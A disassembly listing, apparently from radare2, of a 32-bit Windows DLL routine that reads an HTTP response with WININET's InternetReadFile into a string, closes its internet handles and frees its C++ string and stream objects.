mov dword [ebp - 0x44c], 0xf
xor esi, esi
movups xmmword [ebp - 0x460], xmm0
mov dword [ebp - 0x450], esi
mov byte [ebp - 0x460], 0
lea eax, [ebp - 0x440]
mov byte [ebp - 4], 0x21
push eax
push 0x400
lea eax, [ebp - 0x430]
push eax
push dword [ebp - 0x624]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1003a3e5
nop dword [eax]
nop word [eax + eax]
mov edi, dword [ebp - 0x440]
test edi, edi
je 0x1003a3e5
mov ecx, dword [ebp - 0x44c]
mov eax, ecx
sub eax, esi
push edi
cmp edi, eax
ja 0x1003a39e
lea eax, [esi + edi]
cmp ecx, 0xf
mov dword [ebp - 0x450], eax
lea eax, [ebp - 0x460]
cmova eax, dword [ebp - 0x460]
add esi, eax
lea eax, [ebp - 0x430]
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x1003a3b7
lea eax, [ebp - 0x430]
push eax
push dword [ebp - 0x440]
lea ecx, [ebp - 0x460]
push edi
call fcn.100460f0
lea eax, [ebp - 0x440]
push eax
push 0x400
lea eax, [ebp - 0x430]
push eax
push dword [ebp - 0x624]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1003a3e5
mov esi, dword [ebp - 0x450]
jmp 0x1003a350
push dword [ebp - 0x624]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x618]
call esi
push dword [ebp - 0x628]
call esi
mov eax, dword [ebp - 0x620]
xorps xmm0, xmm0
mov ecx, dword [ebp - 0x47c]
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
movups xmm0, xmmword [ebp - 0x460]
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x450]
movq qword [eax + 0x10], xmm0
cmp ecx, 0xf
jbe 0x1003a46e
mov edx, dword [ebp - 0x490]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003a464
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov ecx, dword [ebp - 0x43c]
mov dword [ebp - 0x480], 0
mov dword [ebp - 0x47c], 0xf
mov byte [ebp - 0x490], 0
test ecx, ecx
je 0x1003a4e1
mov edx, dword [ebp - 0x434]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1003a4b9
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push edx
push ecx
call fcn.1004a23a
add esp, 8
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0
lea ecx, [ebp - 0x610]
call fcn.1003a680
mov ecx, dword [ebp - 0x494]
cmp ecx, 0xf
jbe 0x1003a526
mov edx, dword [ebp - 0x4a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003a51c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0x498], 0
mov dword [ebp - 0x494], 0xf
mov byte [ebp - 0x4a8], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ebp + ecx - 0x55c], eax
lea ecx, [ebp - 0x554]
call fcn.10044c70
lea ecx, [ebp - 0x550]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x508]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0x464]
cmp ecx, 0xf
jbe 0x1003a5c5
mov edx, dword [ebp - 0x478]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003a5bb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov ecx, dword [ebp - 0x4ac]
mov dword [ebp - 0x468], 0
mov dword [ebp - 0x464], 0xf
mov byte [ebp - 0x478], 0
cmp ecx, 0xf
jbe 0x1003a61a
mov edx, dword [ebp - 0x4c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003a610
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov esi, dword [ebp - 0x620]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10049dfd
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret